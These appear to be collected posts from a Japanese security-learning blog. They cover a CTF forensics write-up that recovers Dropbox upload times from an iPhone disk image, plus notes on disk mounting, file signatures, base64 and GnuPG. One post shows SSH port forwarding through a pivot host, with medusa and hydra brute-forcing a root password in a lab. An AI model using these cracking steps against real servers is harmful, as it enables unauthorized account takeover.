forensics100# file evidence.001 
evidence.001: x86 boot sector; partition 1: 
ID=0x7, starthead 2, startsector 128, 198656 sectors, 
code offset 0xc0, OEM-ID "      м", 
Bytes/sector 190, 
sectors/cluster 124, reserved sectors 191, FATs 6, root entries 185, 
sectors 64514 (volumes <=32 MB) , Media descriptor 0xf3, 
sectors/FAT 20644, heads 6, hidden sectors 309755, 
sectors 2147991229 (volumes > 32 MB) , 
physical drive 0x7e, dos < 4.0 BootSector (0x0)


ディスクイメージのようなので mmls コマンドでパーティションレイアウト情報を確認する。

forensics100# mmls evidence.001 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000000127   0000000128   Unallocated
02:  00:00   0000000128   0000198783   0000198656   NTFS (0x07)
03:  -----   0000198784   0000204799   0000006016   Unallocated

パーティションの2番目が調査すべきファイルのようなので、パーティションマウントして中身を確認する。

forensics100# mount -o loop,offset=65536 -t ntfs evidence.001 evidence

マウントしたパーティションが何なのかがわからないので、まずはファイルの一覧を眺めてみる。

forensics100# ls -lhR evidence/ | more
evidence/:
total 32K
drwxrwxrwx 1 root root    0 2013-02-16 12:44 17FCA978-3FF4-4FAD-A6CB-C346EAA816A2
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 3BF5888C-B2FE-4E31-9FC2-480DEA405331
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 3E068DCB-B90B-43DC-B1A9-D083B5BBABE7
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 53C38695-70F0-42A0-9C59-34606A7802A8
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 5BB3AF5D-01CC-45D9-947D-977DB30DD439
drwxrwxrwx 1 root root    0 2013-02-16 12:44 6BCC19E4-31A9-4381-AABA-88069F3A763F
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 6F667589-637A-45E3-92AC-E421C00FF657
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 7C0D5811-A2CC-4E45-A0D1-2600B299C54D
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 7C10A720-1D64-4B77-AB4E-136AA429EBFF
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 9A0ABEAF-D4E5-4BA6-8E8D-6FEB1D685B74
drwxrwxrwx 1 root root    0 2013-02-16 12:46 $RECYCLE.BIN

-- snip --

evidence/3E068DCB-B90B-43DC-B1A9-D083B5BBABE7/CNN-iPhone.app/SC_Info:
total 32K
-rwxrwxrwx 1 root root 1.1K 2012-12-27 13:27 CNN-iPhone.sinf
-rwxrwxrwx 1 root root  26K 2012-11-15 18:43 CNN-iPhone.supp

evidence/3E068DCB-B90B-43DC-B1A9-D083B5BBABE7/CNN-iPhone.app/SVProgressHUD.bundle:
total 9.0K
-rwxrwxrwx 1 root root 739 2012-11-06 12:58 error@2x.png
-rwxrwxrwx 1 root root 371 2012-11-06 12:58 error.png

-- snip --
evidence/5BB3AF5D-01CC-45D9-947D-977DB30DD439/Library/Caches:
total 61K
-rwxrwxrwx 1 root root 520 2012-12-27 18:32 analytics.log
-rwxrwxrwx 1 root root 20K 2012-12-27 17:58 asset_hashes.db
-rwxrwxrwx 1 root root 40K 2012-12-27 17:59 cache.db
drwxrwxrwx 1 root root   0 2012-12-27 18:50 CachedFiles
drwxrwxrwx 1 root root   0 2013-02-16 12:48 com.getdropbox.Dropbox
drwxrwxrwx 1 root root   0 2013-02-16 12:48 Dropbox
drwxrwxrwx 1 root root   0 2012-12-27 18:50 LogPool
drwxrwxrwx 1 root root   0 2013-02-16 12:48 Snapshots
drwxrwxrwx 1 root root   0 2012-12-27 18:50 Three20


ファイル名に iPhone などが出てくるため iPhone のファイルと仮定。また Dropbox というファイルもあったため、問題文にあるオンラインストレージは Dropbox とあたりをつけ、該当ファイルがある 5BB3AF5D-01CC-45D9-947D-977DB30DD439 を中心に作業を進める。

ファイルの一覧を眺めていると、下記のフォルダが見つかる。
./Documents:
total 64K
-rwxrwxrwx 1 root root 24K 2012-12-27 17:58 AlbumAssetsDB.sqlite
-rwxrwxrwx 1 root root 20K 2012-12-27 17:59 Dropbox.sqlite
drwxrwxrwx 1 root root   0 2012-12-27 18:48 Uploads
-rwxrwxrwx 1 root root 20K 2012-12-27 17:57 Uploads.sqlite

Dropbox.sqlite が Dropbox の何かのデータベースっぽいので SQLite Database Browser で中身を確認する。

Dropbox.sqlite

6行目で S-companysecurity.pdf とありこれが対象ファイルと判断。この情報でサイズや modifi 時間があるがアップロード時間がわからない。運営側から「base64」とのヒントがあり、手当たり次第 .sqlite や cache.db を確認していくと ./Library/Caches/cache.db を SQLite Database Browser で表示すると下記のような情報があるのがわかった。


この部分を切り出して base64 デコードしてから hexdump で確認する。

forensics100/base64# tr -d '\r\n' < base64.txt > base64 
forensics100/base64# base64 -d base64 > base64.dec
forensics100/base64# hexdump -C base64.dec 
00000000  62 70 6c 69 73 74 30 30  d4 01 02 03 04 05 08 b8  |bplist00........|
00000010  b9 54 24 74 6f 70 58 24  6f 62 6a 65 63 74 73 58  |.T$topX$objectsX|
00000020  24 76 65 72 73 69 6f 6e  59 24 61 72 63 68 69 76  |$versionY$archiv|
00000030  65 72 d1 06 07 54 72 6f  6f 74 80 01 af 10 21 09  |er...Troot....!.|

マジックナンバーに bplist00 とある。これは mac などで使われる xml ファイルらしい。そこで cache.db の中身をすべてデコードして、plist editer で中身を確認する。


S-Companysecurity.pdf という名前の前後に NS.time と 2.1MB という文字がある。NS.time については後ろのほうにもあるが、他のファイルを眺める限り前にある NS.time がファイルに関する該当時間のようであり、かつ NS.time の 378291354 は Dropbox.sqlite の MODIFIEDDATE とも一致する。
この時間を指定された時間形式に変換する。

forensics100/base64# date -d "1970-1-1 GMT +378291354 second"
Sun Dec 27 17:55:54 JST 1981
forensics100/base64# date -d "1970-1-1 GMT +357554798 second"
Fri May  1 17:46:38 JST 1981

Unix だと 1970-1-1 が基準時間だが mac などは 2001-1-1 が基準時間になる。そのため上記時間に31年を足した下記が答え。
2012-12-27 17:55:54_2012-05-01 17:46:38_S-Companysecurity.pdf_2.1MB

フォレンジック調査で使用するマウント関連のコマンド

ディスクイメージをそのままマウントする

イメージファイルを直接マウントするなら下記のように実行。

mount [image_file] [mount_point]

特定のパーティションをマウントする

ディスクイメージの中の特定パーティションのみマウントするにはまずオフセットを調べる。
オフセットを調べるには fdisk または mmls を使用する。
fdisk -lu [image_file]
mmls [image_file]
mmls は sleuthkit.org で開発されている sleuthkit に入っているコマンド。SIFT ではデフォルトで使用可能。
マウントしたいパーティションの start となっている数値にセクタサイズ(通常512)をかけた数が offset となり、この値を mount コマンドで指定する。

mount -o loop,offset=[start*512] [image_file] [mount_point]

フォレンジック調査なら読み取り専用のオプション -o ro loop、ファイルタイプとして -t ntfs とか nls=utf8 とか付け加える。

E01 イメージの取り扱い

EnCase image file format で保全されたディスクイメージを扱いたい場合にいは SIFT に入っている ewfmount を使う。
ewfmount により E01 イメージを dd イメージで操作できる。

ewfmount [e01_image_file] [mount_point]

E01 イメージが一つではなく複数に分割されている場合は末尾がE01のファイルを指定するだけ。
この状態で [mount_point] 配下に ewf1 という dd イメージファイルができ、それをマウントすることができる。 アンマウントは通常通り umount コマンドでできる。

イメージディスクの作成

イメージディスクの作成は下記コマンドで実行。

dd if=[input_disk] of=[output_file] bs=512 obs=1024k count=[number] conv=sync,noerror

2013年2月19日火曜日

ファイルの判別について

フォーマット識別子はフォーマット識別子とも言われ、ファイルの種類を判断するために使用される。
代表的なファイル識別子を記載する(今後も追加していく予定)

実行ファイル

・Windows 実行ファイル(PE ファイル、exe ファイル)
0x4d 0x5a で始まるファイル、文字列としては MZ 。

オフィスファイル

・DOC/XLS/PPT ファイル、いわゆるマイクロソフトオフィス
OLE2 と呼ばれるフォーマットで記述されており、先頭 16Byte が "d0 cf 11 e0 a1 b1 1a e1" であるかどうかで OLE2 ファイルであるかどうかを判別する。
オフィス関連のファイルだと分かった後の判別方法は若干手間なので、直接オフィスファイルで開いて調べるのが早い。

・PDF ファイル
0x25 0x50 0x44 0x46 となり、%PDF の後にバージョンが記載されている。

圧縮ファイル

・zip ファイル
0x50 0x4b で始まるファイル、文字列としては PK となる。
なお、Microsoft office の pptx や xlsx などは zip ファイルのため先頭バイトは zip と同様に 0x50 0x4b となる。

・gzip ファイル
先頭から2バイトが 0x1F 0x8B であるファイルはgzip圧縮ファイル


暗号・難読ファイル

・Base64
アルファベット、数字、+と/と=が基本。
ただし、拡張版もあるので異なる場合もある。

・Windows Script Encoder
Windows で使われる難読化
ファイルの中身が #@~^ で始まっている。

・GnuPG を使っての暗号ファイル
先頭ビットが、0x84 or 0x85 or 0x86 の場合は公開鍵暗号で暗号化されたファイルの可能性が高い
先頭ビットが、0x8C or 0x8D or 0x8E の場合は共通鍵暗号方式で暗号化されている可能性が高い

・openssl の共通鍵暗号方式を使ったファイル
Salted__ から始まる

画像ファイル

・PNGファイル
マジックナンバーは 89 50 4E 47 0D 0A 1A 0A (制御文字で表すと HTJ "PNG" CR LF SUB LF)。ファイルヘッダの後には IHDR が必ず来るので、その次の 8 バイトも 00 00 00 0D 49 48 44 52 で固定されている。

・JPEG
マジックナンバーは FF D8。ファイルの終了は FF D9。


2013年2月7日木曜日

難読プログラミング

難解プログラミング言語とは、意図的に読解が困難なように設計されたプログラミング言語。
Wiki によるとハッカーのたしなみらしいので、どこかでお目にかかるかもしれない。

http://ja.wikipedia.org/wiki/%E9%9B%A3%E8%A7%A3%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0%E8%A8%80%E8%AA%9E

興味深い言語としては以下のようなものがある。

Piet http://ja.wikipedia.org/wiki/Piet
文字ではなく色を組み合わせて記述する、
そのためソースコードが絵になる。

Brainfuck http://ja.wikipedia.org/wiki/Brainfuck
コンパイラが非常に小さい。
派生言語として「ジョジョ言語」などいろいろ考えられている。

2013年1月30日水曜日

base64 での変換

Base64 はメールなどでよく使用されるエンコード方式。Java やマルウェアの難読化などでも使用される。
特殊文字やマルチバイト文字が使用できない環境でデータをやり取りするために使用されていた。
変換対象のデータは A-Z/a-z/0-9 と、記号2つ (+ /) 、パディングのための記号として = で変換される。
そのためデータが増えるため圧縮技術にはならず、かつ変換パターンも決まっているため暗号技術でもない。

Back Track での使い方は下記のとおり。

エンコードするとき
base64 [file] > [output file]
デコードするとき
base64 -d [file] > [output file]
ファイルの特徴としては、more コマンドなどで開いたときに可読可能であり、アルファベットおよび = が使われていたら base64 でエンコードされている可能性が高い。file コマンドで調べても ASCII text と表示される。

2013年1月28日月曜日

ssh ポートフォワードを使ってリモートマシンにパスワードクラック

ssh ポートフォワードを使用して外部から直接接続できないサーバ等へのパスワードクラック。
登場する端末とサーバは次のとおり。

client:手元の端末 192.168.1.100
proxy:踏み台サーバ 192.168.1.200
server:攻撃対象のサーバ 192.168.1.80
シナリオとしては、proxy の ssh へログイン可能なユーザ ID とパスワードはわかっている状態で client から ssh 接続可能な環境。proxy の ssh_config にて AllowTcpForwarding yes が設定されているものとする。
攻撃対象の server は proxy からのみアクセスを受け付けるため client からは一切アクセスできない。

まずは ssh などで client から server へアクセスさせる。
client と proxy の間で ssh トンネルを張った後に client の port 10000 を使って server の port 22 へアクセスさせる。
トンネルを構築するためのコマンドは次の通り。

ssh -L 10000:192.168.1.80:22 192.168.1.200
コマンドが正常に実行されるとパスワードが聞かれ、入力すると proxy とのトンネルが張られた状態になる。
この状態では ssh のコマンドプロンプトが開きっぱなしになる。複数のトンネルを張る場合などバックグラウンド処理させるためには以下のように -N -f オプションをつける。

ssh -N -f -L 10000:192.168.1.80:22 192.168.1.200
基本的にこの port 10000 は localhost でしか使えない。他の端末などから接続させたい場合には -g オプションが必要になる。
ポートフォワードの設定がされると client のポート 10000 が待ち状態になる。

root@bt:~# netstat -nap | grep 10000
tcp        0      0 127.0.0.1:10000         0.0.0.0:*               LISTEN      2468/ssh 
ここで client にて下記のようにコマンドを実行すると server へ ssh 接続できる。

ssh -p 10000 localhost
client から ssh で server まで接続できることがわかればまずは medusa でパスワードクラック。
medusa で使用する場合は ssh モジュールを port 10000 で使用するので -n で指定、-h localhost で実行すると失敗したので 127.0.0.1 で実行する。

root@bt:~# medusa -u root -p password123 -h 127.0.0.1 -M ssh -n 10000
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password123 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: root Password: password123 [SUCCESS]
これで、外部から直接アクセスできないサーバへのパスワードクラックが可能。

hydra の使い方

hydra とは medusa と同様に ssh などへのパスワードクラッカーツール。
medusa に比べて古くから使用されている。
ssh は medusa が良いようだが、ftp には hydra がよさそうなど相性が多少なりあるようなので、両方使用できるほうがいい。

使用方法としては以下のとおり。medusa は hydra から派生したらしいのでオプションの使い方が似ている。

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]
オプションは以下のとおり。
使いそうな部分を一部日本語で。

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  小文字ならユーザ直接指定、大文字ならユーザ名が書いてあるファイル指定
  -p PASS  or -P FILE  小文字ならパスワード直接指定、大文字ならファイル指定
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    n ならパスワードなし、s ならユーザ名をパスワードとして設定、r はユーザ名を逆にする
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   クラックできたときの処理、小文字ならホスト単位で終了、大文字なら全部終了
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V   verbose mode / show login+pass combination for each attempt
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh svn teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules need special input (use -U to see module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
使用例は以下のとおり。

Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
実際に使用してみると以下のようになる。

root@bt:~# hydra -l root -P passwords.txt 192.168.1.100 ssh 
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-01-28 18:36:47
[DATA] 16 tasks, 1 server, 503 login tries (l:1/p:503), ~31 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.100   login: root   password: toor
[STATUS] attack finished for 192.168.1.100 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-01-28 18:36:52

2013年1月19日土曜日

GnuPG での暗号化と復号化

GNU Privacy Guard (GnuPG) での暗号化と復号化の方法

まずは共通鍵暗号方式での暗号化
-c で共通鍵暗号を指定するが初期値は CAST5 となっている
CAST5 は CAST-128 とも呼ばれるブロック暗号
nビット安全性は AES128 と同様の 128bit となっている、はず
コマンドは以下の通りで、ここにパスフレーズを入力するとファイル名に .pgp がついたファイルが作成される
root@bt:~# gpg -c input_file.txt 
暗号化されたファイルの中身は下記のような状態
root@bt:~# hexdump -C input_file.txt
00000000  54 68 69 73 20 69 73 20  74 65 73 74 20 66 69 6c  |This is test fil|
00000010  65 0a 31 32 33 34 35 0a                           |e.12345.|
00000018
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  8c 0d 04 03 03 02 83 a3  03 d6 a5 b5 44 65 60 c9  |............De`.|
00000010  38 4e 7a e1 5b 05 b3 0d  e6 4d ec 7c 6d 11 32 a2  |8Nz.[....M.|m.2.|
00000020  c8 27 0c 3c a9 cf be a2  9b 6c 83 6c 45 32 80 3c  |.'.<.....l.lE2.<|
00000030  92 fa c8 b5 a9 40 94 7d  07 d1 94 0d b2 e3 97 45  |.....@.}.......E|
00000040  ec 4c 63 42 d6 05 83 4d  78                       |.LcB...Mx|
00000049
root@bt:~# 
復号化するには下記のコマンド
root@bt:~# gpg input_file.txt.gpg 
次に公開鍵暗号方式での暗号化
その前に鍵を生成する
root@bt:~# gpg --gen-key
gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
RSA の長さを選択
1024 だと 80ビット安全性で 2048 だと 112ビット安全性が確保できるらしいので特に理由がなければデフォルトそのままにしておく
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y
証明書の有効期限だが、検証用なので0を選択
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) "

Real name: BackTrack
Email address: BackTrack@local.com
Comment: 
You selected this USER-ID:
    "BackTrack "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? 0
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

gpg: gpg-agent is not available in this session
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++
.....++++++++++
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key BCE10D31 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/BCE10D31 2013-01-19
      Key fingerprint = 4A65 8013 36B1 4B16 9070  FEB6 5DB9 15ED BCE1 0D31
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19

root@bt:~# 
あとはパスフレーズと求められた情報を入力して作成完了
下記コマンドで作成された鍵のリストが確認できる
 
root@bt:~# gpg --list-keys
/root/.gnupg/pubring.gpg
------------------------
pub   2048R/BCE10D31 2013-01-19
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19
実際にはホームディレクトリに.gnupgディレクトリが作成されて、そこに公開鍵と秘密鍵が格納されている
root@bt:~# ls -l /root/.gnupg/
total 32
-rw------- 1 root root 9364 2013-01-19 12:35 gpg.conf
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg~
-rw------- 1 root root  600 2013-01-19 13:03 random_seed
-rw------- 1 root root 2568 2013-01-19 13:03 secring.gpg
-rw------- 1 root root 1280 2013-01-19 13:03 trustdb.gpg
root@bt:~# 
root@bt:~# 
他の公開鍵を取得した場合には下記のコマンドでインポートする必要がある
gpg --import FILENAME
鍵のペアをインポートするには以下のコマンド
gpg --import --allow-secret-key-import FILENAME
秘密鍵で暗号化するには -r で鍵を指定する必要がある
また -e を指定した場合にはファイル名に gpg がついたバイナリファイルが生成され、-aを指定した場合にはファイル名に asc がついたアスキーファイルが生成される
root@bt:~# gpg -e -r BackTrack@local.com -e input_file.txt 
root@bt:~# 
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 5b  |.....C...+.....[|
00000010  51 fa b9 9b b3 de 19 d0  0d 18 e6 fa 3f fd 19 f3  |Q...........?...|
00000020  dd a4 9d 97 12 b0 cb 81  51 32 ef 8f 48 e3 95 13  |........Q2..H...|
00000030  42 00 e0 1b c5 7b 48 17  95 07 38 ee a6 e7 4d d9  |B....{H...8...M.|
00000040  cb c8 9a 38 46 33 81 bb  b1 6c 1e 1a ba 0d 5e bc  |...8F3...l....^.|
00000050  19 7b 36 73 b4 cf 72 06  08 9b 2b 2c cf 71 4b d4  |.{6s..r...+,.qK.|
00000060  ee 00 8c fd f6 61 88 70  ac be dc 00 0b f7 11 4f  |.....a.p.......O|
00000070  76 e4 4f 25 59 f1 e0 f8  f7 d8 34 98 c6 f8 33 bd  |v.O%Y.....4...3.|
00000080  f0 92 62 65 82 f3 8f d3  10 51 b3 38 aa 41 a9 bf  |..be.....Q.8.A..|
00000090  81 85 ea 3e 77 4f 24 09  75 8a 40 e1 d1 37 80 87  |...>wO$.u.@..7..|
000000a0  8d 74 84 1a 59 1b d1 94  68 f1 c6 47 fd ed 46 ba  |.t..Y...h..G..F.|
000000b0  80 29 89 1f 69 95 c3 34  61 4a 76 cb c5 9c e4 71  |.)..i..4aJv....q|
000000c0  c8 87 c3 93 88 13 00 d9  d1 84 f4 6e d1 7c 87 36  |...........n.|.6|
000000d0  30 6e 6d ee cf 77 5c 93  c1 06 8e a3 bf 25 fd b4  |0nm..w\......%..|
000000e0  b9 b5 81 ac f9 b4 57 31  b3 3b 82 8f 46 90 ef 24  |......W1.;..F..$|
000000f0  2d 62 58 2a b8 14 08 6a  b1 af 1b 55 4f 54 63 05  |-bX*...j...UOTc.|
00000100  84 ef 8c 1d 33 37 e1 53  5a 4b 09 09 45 a3 df d2  |....37.SZK..E...|
00000110  5d 01 2e 71 61 09 f2 80  be 14 92 5f 56 2e c8 33  |]..qa......_V..3|
00000120  81 7e 0d 66 49 3f 93 25  bc cd 15 9d e8 9f 6d 87  |.~.fI?.%......m.|
00000130  d1 30 50 d8 9f 2b 04 82  d1 29 34 d1 6e 1d 72 64  |.0P..+...)4.n.rd|
00000140  67 f7 5e 3c a3 af 2d b3  06 c6 73 98 bb 0a 21 63  |g.^<..-...s...!c|
00000150  1f 84 ac 81 c4 70 79 ad  24 d0 fd 8c 21 2c 5a bb  |.....py.$...!,Z.|
00000160  1a 3b a5 ff c0 5d 88 cd  47 d4 22 24 88 5a        |.;...]..G."$.Z|
0000016e
root@bt:~# 
root@bt:~# gpg -a -r BackTrack@local.com -e input_file.txt 
root@bt:~# hexdump -C input_file.txt.asc 
00000000  2d 2d 2d 2d 2d 42 45 47  49 4e 20 50 47 50 20 4d  |-----BEGIN PGP M|
00000010  45 53 53 41 47 45 2d 2d  2d 2d 2d 0a 56 65 72 73  |ESSAGE-----.Vers|
00000020  69 6f 6e 3a 20 47 6e 75  50 47 20 76 31 2e 34 2e  |ion: GnuPG v1.4.|
00000030  31 30 20 28 47 4e 55 2f  4c 69 6e 75 78 29 0a 0a  |10 (GNU/Linux)..|
00000040  68 51 45 4d 41 79 35 44  69 66 71 38 4b 77 37 57  |hQEMAy5Difq8Kw7W|
00000050  41 51 66 2b 4b 76 70 52  52 4f 42 33 67 6a 79 5a  |AQf+KvpRROB3gjyZ|
00000060  4e 71 72 5a 61 68 43 70  54 48 6a 67 68 42 71 74  |NqrZahCpTHjghBqt|
00000070  33 4c 72 41 71 44 56 4b  35 71 67 68 51 4b 75 4a  |3LrAqDVK5qghQKuJ|
00000080  0a 38 55 4e 7a 4d 7a 4b  35 33 63 47 70 37 79 68  |.8UNzMzK53cGp7yh|
00000090  4d 2b 4c 6c 38 37 64 79  6c 51 4e 45 78 51 59 68  |M+Ll87dylQNExQYh|
000000a0  2f 56 4d 78 71 41 50 75  76 59 75 6a 49 55 37 6d  |/VMxqAPuvYujIU7m|
000000b0  46 4c 6d 73 2b 58 69 78  2b 68 4f 35 54 71 43 67  |FLms+Xix+hO5TqCg|
000000c0  55 0a 37 4e 34 31 76 54  47 49 47 34 73 42 50 67  |U.7N41vTGIG4sBPg|
000000d0  59 4e 38 79 6c 38 79 56  64 6e 33 42 6c 30 72 42  |YN8yl8yVdn3Bl0rB|
000000e0  65 6c 6c 6d 30 66 2f 43  33 6b 4f 52 5a 46 58 48  |ellm0f/C3kORZFXH|
000000f0  6b 30 7a 71 75 33 41 64  57 4e 45 6d 62 4a 55 4c  |k0zqu3AdWNEmbJUL|
00000100  42 5a 0a 2b 38 41 6c 6d  6e 6e 74 30 44 71 68 58  |BZ.+8Almnnt0DqhX|
00000110  2b 31 77 65 45 35 43 37  57 57 6d 36 46 2f 79 30  |+1weE5C7WWm6F/y0|
00000120  49 4a 54 55 42 58 49 50  54 77 49 39 6d 5a 75 51  |IJTUBXIPTwI9mZuQ|
00000130  7a 6a 2b 73 4f 69 4c 75  69 46 6e 38 41 4b 54 77  |zj+sOiLuiFn8AKTw|
00000140  6f 4d 73 0a 70 36 61 56  67 39 76 4d 30 69 53 6c  |oMs.p6aVg9vM0iSl|
00000150  71 34 6a 53 4a 55 45 48  36 6a 52 6a 39 70 48 65  |q4jSJUEH6jRj9pHe|
00000160  77 57 63 53 2b 77 50 45  58 69 74 2b 45 7a 43 52  |wWcS+wPEXit+EzCR|
00000170  64 32 54 6e 66 74 54 6e  6f 57 58 36 62 54 74 76  |d2TnftTnoWX6bTtv|
00000180  48 63 43 63 0a 39 49 44  6d 6c 58 6c 2b 48 72 78  |HcCc.9IDmlXl+Hrx|
00000190  59 49 46 66 55 43 42 66  5a 6c 41 73 75 41 6d 74  |YIFfUCBfZlAsuAmt|
000001a0  38 4e 78 4f 77 71 79 67  77 43 78 4d 45 6c 74 4a  |8NxOwqygwCxMEltJ|
000001b0  64 41 57 71 71 50 78 76  53 6f 65 39 77 67 52 41  |dAWqqPxvSoe9wgRA|
000001c0  6d 54 34 58 4a 0a 6f 58  67 32 2b 54 78 45 74 59  |mT4XJ.oXg2+TxEtY|
000001d0  2f 43 34 42 35 38 2b 48  7a 61 64 43 6a 5a 47 47  |/C4B58+HzadCjZGG|
000001e0  4d 4a 6f 50 47 6e 76 75  4a 71 36 46 6a 35 65 62  |MJoPGnvuJq6Fj5eb|
000001f0  37 50 55 66 34 75 4c 42  45 2f 52 46 34 44 55 78  |7PUf4uLBE/RF4DUx|
00000200  73 39 59 41 4f 44 0a 69  31 43 37 62 6b 4d 30 54  |s9YAOD.i1C7bkM0T|
00000210  77 66 66 2b 57 7a 64 39  76 50 75 33 78 49 6f 35  |wff+Wzd9vPu3xIo5|
00000220  73 32 71 57 45 58 6e 6b  2f 49 31 34 34 71 6c 0a  |s2qWEXnk/I144ql.|
00000230  3d 71 36 70 33 0a 2d 2d  2d 2d 2d 45 4e 44 20 50  |=q6p3.-----END P|
00000240  47 50 20 4d 45 53 53 41  47 45 2d 2d 2d 2d 2d 0a  |GP MESSAGE-----.|
00000250
root@bt:~# 
暗号化と復号化の流れは下記のとおり
root@bt:~# gpg -e -r BackTrack@local.com -e input_file2.txt 
root@bt:~# 
root@bt:~# 
root@bt:~# hexdump -C input_file2.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 66  |.....C...+.....f|
00000010  f2 77 fa 14 08 16 65 8c  1a c8 87 40 34 ed 82 0f  |.w....e....@4...|
00000020  6b 75 ea 87 d6 99 7c e1  a0 fe 92 ef 0c 4a 97 6d  |ku....|......J.m|
00000030  91 1d f1 04 9c 98 58 98  a9 e0 f1 f1 67 16 79 f8  |......X.....g.y.|
00000040  90 c0 69 74 d2 4d c1 41  d7 4d 89 00 c9 ec e8 56  |..it.M.A.M.....V|
00000050  cd 26 86 13 3e 97 04 17  b8 a6 4d ea 4f 78 a7 df  |.&..>.....M.Ox..|
00000060  c8 61 11 4c 72 ab 55 32  23 57 34 74 16 59 30 7f  |.a.Lr.U2#W4t.Y0.|
00000070  de 25 4f 53 d0 d3 04 d0  99 b4 52 ac b6 84 6e 1d  |.%OS......R...n.|
00000080  bf ab a2 cb f4 67 4d 8f  7e bf 61 ac 6a 3d 4e e2  |.....gM.~.a.j=N.|
00000090  d2 2f cc f9 9e e9 d8 0a  57 74 bb e6 1b 49 39 25  |./......Wt...I9%|
000000a0  58 d2 e4 9c 39 a8 da 9c  f3 83 dc a0 de b3 89 2d  |X...9..........-|
000000b0  6c f3 68 a3 da 03 80 18  6b 79 34 50 d6 3d 24 73  |l.h.....ky4P.=$s|
000000c0  4a 3f c5 8b 64 3a c9 c3  38 bf db 5e 92 f0 5e 0e  |J?..d:..8..^..^.|
000000d0  7e e7 35 10 68 79 08 fe  fc 97 e8 34 ca 70 fc ba  |~.5.hy.....4.p..|
000000e0  03 f3 9c b7 f9 d8 8c 5f  40 c2 94 d8 08 15 72 a6  |......._@.....r.|
000000f0  ba 67 30 8b 14 df 91 7d  93 ca 38 24 43 05 41 18  |.g0....}..8$C.A.|
